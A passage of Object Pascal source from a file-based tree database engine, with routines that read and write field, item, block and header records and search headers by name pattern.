<> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnError) then PObjectDataHandle(IOHnd.Data)^.OnError(TranslateReturnCode(Item_.State)); end; end; function dbField_WriteRec(const fPos: Int64; var IOHnd: TIOHnd; var Field_: TField): Boolean; begin Result := False; Field_.State := DB_ExceptionError; try if (IOHnd.IsOnlyRead) or (not IOHnd.IsOpen) then begin Field_.State := DB_CheckIOError; Field_.RHeader.State := DB_CheckIOError; Result := False; exit; end; if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnPrepareWriteField) then begin Result := False; PObjectDataHandle(IOHnd.Data)^.OnPrepareWriteField(fPos, Field_, Result); if Result then begin Field_.State := DB_Field_ok; if Assigned(PObjectDataHandle(IOHnd.Data)^.OnWriteField) then PObjectDataHandle(IOHnd.Data)^.OnWriteField(fPos, Field_); exit; end; end; if dbHeader_WriteRec(fPos, IOHnd, Field_.RHeader) = False then begin Field_.State := Field_.RHeader.State; Result := False; exit; end; if umlFileSeek(IOHnd, Field_.RHeader.DataPosition) = False then begin Field_.State := DB_Field_SetPosError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Position_Size, Field_.UpFieldPOS) = False then begin Field_.State := DB_Field_WriteHeaderFieldPosError; Result := False; exit; end; if umlFileWriteFixedString(IOHnd, Field_.Description) = False then begin Field_.State := DB_Field_WriteDescriptionError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Counter_Size, Field_.HeaderCount) = False then begin Field_.State := DB_Field_WriteCountError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Position_Size, Field_.FirstHeaderPOS) = False then begin Field_.State := DB_Field_WriteFirstPosError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Position_Size, Field_.LastHeaderPOS) = False then begin Field_.State := DB_Field_WriteLastPosError; Result := False; exit; end; Field_.State := DB_Field_ok; Result := True; if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnWriteField) then PObjectDataHandle(IOHnd.Data)^.OnWriteField(fPos, Field_); finally if not Result then if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnError) then PObjectDataHandle(IOHnd.Data)^.OnError(TranslateReturnCode(Field_.State)); end; end; function dbField_ReadRec(const fPos: Int64; var IOHnd: TIOHnd; var Field_: TField): Boolean; begin Result := False; Field_.State := DB_ExceptionError; try if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnReadField) then begin Result := False; PObjectDataHandle(IOHnd.Data)^.OnReadField(fPos, Field_, Result); if Result then exit; end; if dbHeader_ReadRec(fPos, IOHnd, Field_.RHeader) = False then begin Field_.State := Field_.RHeader.State; Result := False; exit; end; if umlFileSeek(IOHnd, Field_.RHeader.DataPosition) = False then begin Field_.State := DB_Field_SetPosError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Position_Size, Field_.UpFieldPOS) = False then begin Field_.State := DB_Field_ReadHeaderFieldPosError; Result := False; exit; end; if umlFileReadFixedString(IOHnd, Field_.Description) = False then begin Field_.State := DB_Field_ReadDescriptionError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Counter_Size, Field_.HeaderCount) = False then begin Field_.State := DB_Field_ReadCountError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Position_Size, Field_.FirstHeaderPOS) = False then begin Field_.State := DB_Field_ReadFirstPosError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Position_Size, Field_.LastHeaderPOS) = False then begin Field_.State := DB_Field_ReadLastPosError; Result := False; exit; end; Field_.State := DB_Field_ok; Result := True; if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnWriteField) then PObjectDataHandle(IOHnd.Data)^.OnWriteField(fPos, Field_); finally if not Result then if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnError) then PObjectDataHandle(IOHnd.Data)^.OnError(TranslateReturnCode(Field_.State)); end; end; function dbItem_OnlyWriteItemBlockRec(const fPos: Int64; var IOHnd: TIOHnd; var Block_: TItemBlock): Boolean; begin Result := False; Block_.State := DB_ExceptionError; try if (IOHnd.IsOnlyRead) or (not IOHnd.IsOpen) then begin Block_.State := DB_CheckIOError; Result := False; exit; end; if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnPrepareWriteItemBlock) then begin Result := False; PObjectDataHandle(IOHnd.Data)^.OnPrepareWriteItemBlock(fPos, Block_, Result); if Result then begin Block_.State := DB_Item_ok; if Assigned(PObjectDataHandle(IOHnd.Data)^.OnWriteItemBlock) then PObjectDataHandle(IOHnd.Data)^.OnWriteItemBlock(fPos, Block_); exit; end; end; if umlFileSeek(IOHnd, fPos) = False then begin Block_.State := DB_Item_SetPosError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_ID_Size, Block_.ID) = False then begin Block_.State := DB_Item_WriteItemBlockIDFlagsError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Position_Size, Block_.CurrentBlockPOS) = False then begin Block_.State := DB_Item_WriteCurrentBlockPOSError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Position_Size, Block_.NextBlockPOS) = False then begin Block_.State := DB_Item_WriteNextBlockPOSError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Position_Size, Block_.PrevBlockPOS) = False then begin Block_.State := DB_Item_WritePrevBlockPOSError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Position_Size, Block_.DataPosition) = False then begin Block_.State := DB_Item_WriteDataBlockPOSError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_DataSize_Size, Block_.Size) = False then begin Block_.State := DB_Item_WriteDataBuffSizeError; Result := False; exit; end; Block_.State := DB_Item_ok; Result := True; if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnWriteItemBlock) then PObjectDataHandle(IOHnd.Data)^.OnWriteItemBlock(fPos, Block_); finally if not Result then if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnError) then PObjectDataHandle(IOHnd.Data)^.OnError(TranslateReturnCode(Block_.State)); end; end; function dbItem_OnlyReadItemBlockRec(const fPos: Int64; var IOHnd: TIOHnd; var Block_: TItemBlock): Boolean; begin Result := False; Block_.State := DB_ExceptionError; try if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnReadItemBlock) then begin Result := False; PObjectDataHandle(IOHnd.Data)^.OnReadItemBlock(fPos, Block_, Result); if Result then exit; end; if umlFileSeek(IOHnd, fPos) = False then begin Block_.State := DB_Item_SetPosError; Result := False; exit; end; if umlFileRead(IOHnd, DB_ID_Size, Block_.ID) = False then begin Block_.State := DB_Item_ReadItemBlockIDFlagsError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Position_Size, Block_.CurrentBlockPOS) = False then begin Block_.State := DB_Item_ReadCurrentBlockPOSError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Position_Size, Block_.NextBlockPOS) = False then begin Block_.State := DB_Item_ReadNextBlockPOSError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Position_Size, Block_.PrevBlockPOS) = False then begin Block_.State := DB_Item_ReadPrevBlockPOSError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Position_Size, Block_.DataPosition) = False then begin Block_.State := DB_Item_ReadDataBlockPOSError; Result := False; exit; end; if umlFileRead(IOHnd, DB_DataSize_Size, Block_.Size) = False then begin Block_.State := DB_Item_ReadDataBuffSizeError; Result := False; exit; end; Block_.State := DB_Item_ok; Result := True; if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnWriteItemBlock) then PObjectDataHandle(IOHnd.Data)^.OnWriteItemBlock(fPos, Block_); finally if not Result then if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnError) then PObjectDataHandle(IOHnd.Data)^.OnError(TranslateReturnCode(Block_.State)); end; end; function db_WriteRec(const fPos: Int64; var IOHnd: TIOHnd; var DB_: TObjectDataHandle): Boolean; begin Result := False; DB_.State := DB_ExceptionError; try if (IOHnd.IsOnlyRead) or (not IOHnd.IsOpen) then begin DB_.State := DB_CheckIOError; Result := False; exit; end; if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnPrepareWriteTMDB) then begin Result := False; PObjectDataHandle(IOHnd.Data)^.OnPrepareWriteTMDB(fPos, @DB_, Result); if Result then begin DB_.State := DB_ok; if Assigned(PObjectDataHandle(IOHnd.Data)^.OnWriteTMDB) then PObjectDataHandle(IOHnd.Data)^.OnWriteTMDB(fPos, @DB_); exit; end; end; if umlFileSeek(IOHnd, fPos) = False then begin DB_.State := DB_PositionSeekError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_ReservedData_Size, DB_.ReservedData[0]) = False then begin DB_.State := DB_WriteReservedDataError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_FixedStringL_Size, DB_.FixedStringL) = False then begin DB_.State := DB_WriteFixedStringLError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Version_Size, DB_.MajorVer) = False then begin DB_.State := DB_WriteMajorVersionError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Version_Size, DB_.MinorVer) = False then begin DB_.State := DB_WriteMinorVersionError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Time_Size, DB_.CreateTime) = False then begin DB_.State := DB_WriteCreateTimeError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Time_Size, DB_.ModificationTime) = False then begin DB_.State := DB_WriteLastEditTimeError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Counter_Size, DB_.RootHeaderCount) = False then begin DB_.State := DB_WriteHeaderCountError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Position_Size, DB_.DefaultFieldPOS) = False then begin DB_.State := DB_WriteDefaultPositionError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Position_Size, DB_.FirstHeaderPOS) = False then begin DB_.State := DB_WriteFirstPositionError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Position_Size, DB_.LastHeaderPOS) = False then begin DB_.State := DB_WriteLastPositionError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Position_Size, DB_.CurrentFieldPOS) = False then begin DB_.State := DB_WriteCurrentPositionError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Level_Size, DB_.CurrentFieldLevel) = False then begin DB_.State := DB_WriteCurrentLevelError; Result := False; exit; end; DB_.State := DB_ok; Result := True; if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnWriteTMDB) then PObjectDataHandle(IOHnd.Data)^.OnWriteTMDB(fPos, @DB_); finally if not Result then if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnError) then PObjectDataHandle(IOHnd.Data)^.OnError(TranslateReturnCode(DB_.State)); end; end; function db_ReadRec(const fPos: Int64; var IOHnd: TIOHnd; var DB_: TObjectDataHandle): Boolean; begin Result := False; DB_.State := DB_ExceptionError; try if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnReadTMDB) then begin Result := False; PObjectDataHandle(IOHnd.Data)^.OnReadTMDB(fPos, @DB_, Result); if Result then begin exit; end; end; if umlFileSeek(IOHnd, fPos) = False then begin DB_.State := DB_PositionSeekError; Result := False; exit; end; if umlFileRead(IOHnd, DB_ReservedData_Size, DB_.ReservedData[0]) = False then begin DB_.State := DB_ReadReservedDataError; Result := False; exit; end; if umlFileRead(IOHnd, DB_FixedStringL_Size, DB_.FixedStringL) = False then begin DB_.State := DB_ReadFixedStringLError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Version_Size, DB_.MajorVer) = False then begin DB_.State := DB_ReadMajorVersionError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Version_Size, DB_.MinorVer) = False then begin DB_.State := DB_ReadMinorVersionError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Time_Size, DB_.CreateTime) = False then begin DB_.State := DB_ReadCreateTimeError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Time_Size, DB_.ModificationTime) = False then begin DB_.State := DB_ReadLastEditTimeError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Counter_Size, DB_.RootHeaderCount) = False then begin DB_.State := DB_ReadHeaderCountError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Position_Size, DB_.DefaultFieldPOS) = False then begin DB_.State := DB_ReadDefaultPositionError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Position_Size, DB_.FirstHeaderPOS) = False then begin DB_.State := DB_ReadFirstPositionError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Position_Size, DB_.LastHeaderPOS) = False then begin DB_.State := DB_ReadLastPositionError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Position_Size, DB_.CurrentFieldPOS) = False then begin DB_.State := DB_ReadCurrentPositionError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Level_Size, DB_.CurrentFieldLevel) = False then begin DB_.State := DB_ReadCurrentLevelError; Result := False; exit; end; DB_.State := DB_ok; Result := True; finally if not Result then if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnError) then PObjectDataHandle(IOHnd.Data)^.OnError(TranslateReturnCode(DB_.State)); end; end; function dbItem_OnlyWriteItemRec(const fPos: Int64; var IOHnd: TIOHnd; var Item_: TItem): Boolean; begin Result := False; Item_.State := DB_ExceptionError; try if (IOHnd.IsOnlyRead) or (not IOHnd.IsOpen) then begin Item_.State := DB_CheckIOError; Result := False; exit; end; if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnPrepareOnlyWriteItemRec) then begin Result := False; PObjectDataHandle(IOHnd.Data)^.OnPrepareOnlyWriteItemRec(fPos, Item_, Result); if Result then begin Item_.State := DB_Item_ok; if Assigned(PObjectDataHandle(IOHnd.Data)^.OnOnlyWriteItemRec) then PObjectDataHandle(IOHnd.Data)^.OnOnlyWriteItemRec(fPos, Item_); exit; end; end; if umlFileSeek(IOHnd, fPos) = False then begin Item_.State := DB_Item_SetPosError; Result := False; exit; end; if umlFileWriteFixedString(IOHnd, Item_.Description) = False then begin Item_.State := DB_Item_WriteRecDescriptionError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_ID_Size, Item_.ExtID) = False then begin Item_.State := DB_Item_WriteRecExterIDError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Position_Size, Item_.FirstBlockPOS) = False then begin Item_.State := DB_Item_WriteFirstBlockPOSError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Position_Size, Item_.LastBlockPOS) = False then begin Item_.State := DB_Item_WriteLastBlockPOSError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_DataSize_Size, Item_.Size) = False then begin Item_.State := DB_Item_WriteRecBuffSizeError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Counter_Size, Item_.BlockCount) = False then begin Item_.State := DB_Item_WriteBlockCountError; Result := False; exit; end; Item_.State := DB_Item_ok; Result := True; if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnOnlyWriteItemRec) then PObjectDataHandle(IOHnd.Data)^.OnOnlyWriteItemRec(fPos, Item_); finally if not Result then if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnError) then PObjectDataHandle(IOHnd.Data)^.OnError(TranslateReturnCode(Item_.State)); end; end; function dbItem_OnlyReadItemRec(const fPos: Int64; var IOHnd: TIOHnd; var Item_: TItem): Boolean; begin Result := False; Item_.State := DB_ExceptionError; try if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnOnlyReadItemRec) then begin Result := False; PObjectDataHandle(IOHnd.Data)^.OnOnlyReadItemRec(fPos, Item_, Result); if Result then exit; end; if umlFileSeek(IOHnd, fPos) = False then begin Item_.State := DB_Item_SetPosError; Result := False; exit; end; if umlFileReadFixedString(IOHnd, Item_.Description) = False then begin Item_.State := DB_Item_ReadRecDescriptionError; Result := False; exit; end; if umlFileRead(IOHnd, DB_ID_Size, Item_.ExtID) = False then begin Item_.State := DB_Item_ReadRecExterIDError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Position_Size, Item_.FirstBlockPOS) = False then begin Item_.State := DB_Item_ReadFirstBlockPOSError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Position_Size, Item_.LastBlockPOS) = False then begin Item_.State := DB_Item_ReadLastBlockPOSError; Result := False; exit; end; if umlFileRead(IOHnd, DB_DataSize_Size, Item_.Size) = False then begin Item_.State := DB_Item_ReadRecBuffSizeError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Counter_Size, Item_.BlockCount) = False then begin Item_.State := DB_Item_ReadBlockCountError; Result := False; exit; end; Item_.State := DB_Item_ok; Result := True; if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnOnlyWriteItemRec) then PObjectDataHandle(IOHnd.Data)^.OnOnlyWriteItemRec(fPos, Item_); finally if not Result then if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnError) then PObjectDataHandle(IOHnd.Data)^.OnError(TranslateReturnCode(Item_.State)); end; end; function dbField_OnlyWriteFieldRec(const fPos: Int64; var IOHnd: TIOHnd; var Field_: TField): Boolean; begin Result := False; Field_.State := DB_ExceptionError; try if (IOHnd.IsOnlyRead) or (not IOHnd.IsOpen) then begin Field_.State := DB_CheckIOError; Result := False; exit; end; if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnPrepareOnlyWriteFieldRec) then begin Result := False; PObjectDataHandle(IOHnd.Data)^.OnPrepareOnlyWriteFieldRec(fPos, Field_, Result); if Result then begin Field_.State := DB_Field_ok; if Assigned(PObjectDataHandle(IOHnd.Data)^.OnOnlyWriteFieldRec) then PObjectDataHandle(IOHnd.Data)^.OnOnlyWriteFieldRec(fPos, Field_); exit; end; end; if umlFileSeek(IOHnd, fPos) = False then begin Field_.State := DB_Field_SetPosError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Position_Size, Field_.UpFieldPOS) = False then begin Field_.State := DB_Field_WriteHeaderFieldPosError; Result := False; exit; end; if umlFileWriteFixedString(IOHnd, Field_.Description) = False then begin Field_.State := DB_Field_WriteDescriptionError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Counter_Size, Field_.HeaderCount) = False then begin Field_.State := DB_Field_WriteCountError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Position_Size, Field_.FirstHeaderPOS) = False then begin Field_.State := DB_Field_WriteFirstPosError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Position_Size, Field_.LastHeaderPOS) = False then begin Field_.State := DB_Field_WriteLastPosError; Result := False; exit; end; Field_.State := DB_Field_ok; Result := True; if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnOnlyWriteFieldRec) then PObjectDataHandle(IOHnd.Data)^.OnOnlyWriteFieldRec(fPos, Field_); finally if not Result then if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnError) then PObjectDataHandle(IOHnd.Data)^.OnError(TranslateReturnCode(Field_.State)); end; end; function dbField_OnlyReadFieldRec(const fPos: Int64; var IOHnd: TIOHnd; var Field_: TField): Boolean; begin Result := False; Field_.State := DB_ExceptionError; try if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnOnlyReadFieldRec) then begin Result := False; PObjectDataHandle(IOHnd.Data)^.OnOnlyReadFieldRec(fPos, Field_, Result); if Result then exit; end; if umlFileSeek(IOHnd, fPos) = False then begin Field_.State := DB_Field_SetPosError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Position_Size, Field_.UpFieldPOS) = False then begin Field_.State := DB_Field_ReadHeaderFieldPosError; Result := False; exit; end; if umlFileReadFixedString(IOHnd, Field_.Description) = False then begin Field_.State := DB_Field_ReadDescriptionError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Counter_Size, Field_.HeaderCount) = False then begin Field_.State := DB_Field_ReadCountError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Position_Size, Field_.FirstHeaderPOS) = False then begin Field_.State := DB_Field_ReadFirstPosError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Position_Size, Field_.LastHeaderPOS) = False then begin Field_.State := DB_Field_ReadLastPosError; Result := False; exit; end; Field_.State := DB_Field_ok; Result := True; if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnOnlyWriteFieldRec) then PObjectDataHandle(IOHnd.Data)^.OnOnlyWriteFieldRec(fPos, Field_); finally if not Result then if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnError) then PObjectDataHandle(IOHnd.Data)^.OnError(TranslateReturnCode(Field_.State)); end; end; function dbMultipleMatch(const SourStr, DestStr: U_String): Boolean; begin if SourStr.Len = 0 then Result := True else if DestStr.Len = 0 then Result := False else Result := umlMultipleMatch(True, SourStr, DestStr, TreeMDBHeaderNameMultipleString, TreeMDBHeaderNameMultipleCharacter); end; function dbHeader_FindNext(const Name: U_String; const FirstHeaderPOS, LastHeaderPOS: Int64; var IOHnd: TIOHnd; var Header_: THeader): Boolean; begin if dbHeader_ReadRec(FirstHeaderPOS, IOHnd, Header_) = False then begin Result := False; exit; end; if dbMultipleMatch(Name, Header_.Name) then begin Result := True; exit; end; if (Header_.PositionID = DB_Header_Last) or (Header_.PositionID = DB_Header_1) then begin Header_.State := DB_Header_NotFindHeader; Result := False; exit; end; while dbHeader_ReadRec(Header_.NextHeader, IOHnd, Header_) do begin if dbMultipleMatch(Name, Header_.Name) then begin Result := True; exit; end; if Header_.PositionID = DB_Header_Last then begin Header_.State := DB_Header_NotFindHeader; Result := False; exit; end; end; Header_.State := DB_Header_ok; Result := False; end; function dbHeader_FindPrev(const Name: U_String; const LastHeaderPOS, FirstHeaderPOS: Int64; var IOHnd: TIOHnd; var Header_: THeader): Boolean; begin if dbHeader_ReadRec(LastHeaderPOS, IOHnd, Header_) = False then begin Result := False; exit; end; if dbMultipleMatch(Name, Header_.Name) then begin Result := True; exit; end; if (Header_.PositionID = DB_Header_First) or (Header_.PositionID = DB_Header_1) then begin Header_.State := DB_Header_NotFindHeader; Result := False; exit; end; while dbHeader_ReadRec(Header_.PrevHeader, IOHnd, Header_) do begin if dbMultipleMatch(Name, Header_.Name) then begin Result := True; exit; end; if Header_.PositionID = DB_Header_First then begin Header_.State := DB_Header_NotFindHeader; Result := False; exit; end; end; Header_.State := DB_Header_ok; Result := False; end; function dbItem_BlockCreate(var IOHnd: TIOHnd; var Item_: TItem): Boolean; var FirstItemBlock, LastItemBlock: TItemBlock; begin case Item_.BlockCount of 0: begin LastItemBlock.ID := DB_Item_1; LastItemBlock.CurrentBlockPOS := umlFileGetSize(IOHnd); LastItemBlock.NextBlockPOS := LastItemBlock.CurrentBlockPOS; LastItemBlock.PrevBlockPOS := LastItemBlock.CurrentBlockPOS; LastItemBlock.DataPosition := LastItemBlock.CurrentBlockPOS + Get_DB_BlockL(IOHnd); LastItemBlock.Size := 0; if dbItem_OnlyWriteItemBlockRec(LastItemBlock.CurrentBlockPOS, IOHnd, LastItemBlock) = False then begin Item_.State := LastItemBlock.State; Result := False; exit; end; Item_.BlockCount := 1; Item_.FirstBlockPOS := LastItemBlock.CurrentBlockPOS; Item_.LastBlockPOS := LastItemBlock.CurrentBlockPOS; if dbItem_OnlyWriteItemRec(Item_.RHeader.DataPosition, IOHnd, Item_) = False then begin Result := False; exit; end; end; 1: begin if dbItem_OnlyReadItemBlockRec(Item_.FirstBlockPOS, IOHnd, FirstItemBlock) = False then begin Item_.State := FirstItemBlock.State; Result := False; exit; end; LastItemBlock.ID := DB_Item_Last; LastItemBlock.CurrentBlockPOS := umlFileGetSize(IOHnd); LastItemBlock.NextBlockPOS := FirstItemBlock.CurrentBlockPOS; LastItemBlock.PrevBlockPOS := FirstItemBlock.CurrentBlockPOS; LastItemBlock.DataPosition := LastItemBlock.CurrentBlockPOS + Get_DB_BlockL(IOHnd); LastItemBlock.Size := 0; if dbItem_OnlyWriteItemBlockRec(LastItemBlock.CurrentBlockPOS, IOHnd, LastItemBlock) = False then begin Item_.State := LastItemBlock.State; Result := False; exit; end; FirstItemBlock.ID := DB_Item_First; FirstItemBlock.NextBlockPOS := LastItemBlock.CurrentBlockPOS; FirstItemBlock.PrevBlockPOS := LastItemBlock.CurrentBlockPOS; if dbItem_OnlyWriteItemBlockRec(Item_.FirstBlockPOS, IOHnd, FirstItemBlock) = False then begin Item_.State := FirstItemBlock.State; Result := False; exit; end; Item_.BlockCount := Item_.BlockCount + 1; Item_.LastBlockPOS := LastItemBlock.CurrentBlockPOS; if dbItem_OnlyWriteItemRec(Item_.RHeader.DataPosition, IOHnd, Item_) = False then begin Result := False; exit; end; end; else begin if dbItem_OnlyReadItemBlockRec(Item_.FirstBlockPOS, IOHnd, FirstItemBlock) = False then begin Item_.State := FirstItemBlock.State; Result := False; exit; end; FirstItemBlock.PrevBlockPOS := umlFileGetSize(IOHnd); if dbItem_OnlyWriteItemBlockRec(Item_.FirstBlockPOS, IOHnd, FirstItemBlock) = False then begin Item_.State := FirstItemBlock.State; Result := False; exit; end; if dbItem_OnlyReadItemBlockRec(Item_.LastBlockPOS, IOHnd, LastItemBlock) = False then begin Item_.State := LastItemBlock.State; Result := False; exit; end; LastItemBlock.ID := DB_Item_Medium; LastItemBlock.NextBlockPOS := FirstItemBlock.PrevBlockPOS; if dbItem_OnlyWriteItemBlockRec(Item_.LastBlockPOS, IOHnd, LastItemBlock) = False then begin Item_.State := LastItemBlock.State; Result := False; exit; end; LastItemBlock.ID := DB_Item_Last; LastItemBlock.CurrentBlockPOS := FirstItemBlock.PrevBlockPOS; LastItemBlock.NextBlockPOS := Item_.FirstBlockPOS; LastItemBlock.PrevBlockPOS := Item_.LastBlockPOS; LastItemBlock.DataPosition := LastItemBlock.CurrentBlockPOS + Get_DB_BlockL(IOHnd); LastItemBlock.Size := 0; if dbItem_OnlyWriteItemBlockRec(LastItemBlock.CurrentBlockPOS, IOHnd, LastItemBlock) = False then begin Item_.State := LastItemBlock.State; Result := False; exit; end; Item_.BlockCount := Item_.BlockCount + 1; Item_.LastBlockPOS := LastItemBlock.CurrentBlockPOS; if dbItem_OnlyWriteItemRec(Item_.RHeader.DataPosition, IOHnd, Item_) = False then begin Result := False; exit; end; end; end; Item_.CurrentItemBlock := LastItemBlock; Item_.CurrentBlockSeekPOS := 0; Item_.CurrentFileSeekPOS := Item_.CurrentItemBlock.DataPosition; Item_.DataModification := True; Item_.State := DB_Item_ok; Result := True; end; function dbItem_BlockInit(var IOHnd: TIOHnd; var Item_: TItem): Boolean; begin if Item_.BlockCount = 0 then begin Item_.State := DB_Item_ok; Result := True; exit; end; if dbItem_OnlyReadItemBlockRec(Item_.FirstBlockPOS, IOHnd, Item_.CurrentItemBlock) = False then begin Item_.State := Item_.CurrentItemBlock.State; Result := False; exit; end; Item_.CurrentBlockSeekPOS := 0; Item_.CurrentFileSeekPOS := Item_.CurrentItemBlock.DataPosition; Item_.State := DB_Item_ok; Result := True; end; function dbItem_BlockReadData(var IOHnd: TIOHnd; var Item_: TItem; var Buffers; const _Size: Int64): Boolean; label Rep_Label; var BuffPointer: Pointer; BuffInt: nativeUInt; DeformitySize, BlockPOS: Int64; ItemBlock: TItemBlock; Size: Int64; begin if (_Size <= Item_.Size) then Size := _Size else Size := Item_.Size; if Size = 0 then begin Item_.State := DB_Item_ok; Result := True; exit; end; if (Item_.BlockCount = 0) then begin Item_.State := DB_Item_BlockOverrate; Result := False; exit; end; if Item_.CurrentBlockSeekPOS > Item_.CurrentItemBlock.Size then begin Item_.State := DB_Item_BlockPositionError; Result := False; exit; end; ItemBlock := Item_.CurrentItemBlock; BlockPOS := Item_.CurrentBlockSeekPOS; BuffInt := nativeUInt(@Buffers); BuffPointer := Pointer(BuffInt); DeformitySize := Size; Rep_Label: if ItemBlock.Size - BlockPOS = 0 then begin case ItemBlock.ID of DB_Item_Last, DB_Item_1: begin Item_.State := DB_Item_BlockOverrate; Result := False; exit; end; end; if dbItem_OnlyReadItemBlockRec(ItemBlock.NextBlockPOS, IOHnd, ItemBlock) = False then begin Item_.State := ItemBlock.State; Result := False; exit; end; if BlockPOS > 0 then BlockPOS := 0; while (ItemBlock.Size - BlockPOS) = 0 do begin case ItemBlock.ID of DB_Item_Last: begin Item_.State := DB_Item_BlockOverrate; Result := False; exit; end; end; if dbItem_OnlyReadItemBlockRec(ItemBlock.NextBlockPOS, IOHnd, ItemBlock) = False then begin Item_.State := ItemBlock.State; Result := False; exit; end; end; end; if umlFileSeek(IOHnd, ItemBlock.DataPosition + BlockPOS) = False then begin Item_.State := DB_Item_SetPosError; Result := False; exit; end; if DeformitySize <= ItemBlock.Size - BlockPOS then begin if umlFileRead(IOHnd, DeformitySize, BuffPointer^) = False then begin Item_.State := DB_Item_BlockReadError; Result := False; exit; end; Item_.CurrentBlockSeekPOS := BlockPOS + DeformitySize; Item_.CurrentFileSeekPOS := ItemBlock.DataPosition + (BlockPOS + DeformitySize); Item_.CurrentItemBlock := ItemBlock; Item_.State := DB_Item_ok; Result := True; exit; end; if umlFileRead(IOHnd, ItemBlock.Size - BlockPOS, BuffPointer^) = False then begin Item_.State := DB_Item_BlockReadError; Result := False; exit; end; case ItemBlock.ID of DB_Item_Last, DB_Item_1: begin Item_.State := DB_Item_BlockOverrate; Result := False; exit; end; end; BuffInt := BuffInt + (ItemBlock.Size - BlockPOS); BuffPointer := Pointer(BuffInt); DeformitySize := DeformitySize - (ItemBlock.Size - BlockPOS); if dbItem_OnlyReadItemBlockRec(ItemBlock.NextBlockPOS, IOHnd, ItemBlock) = 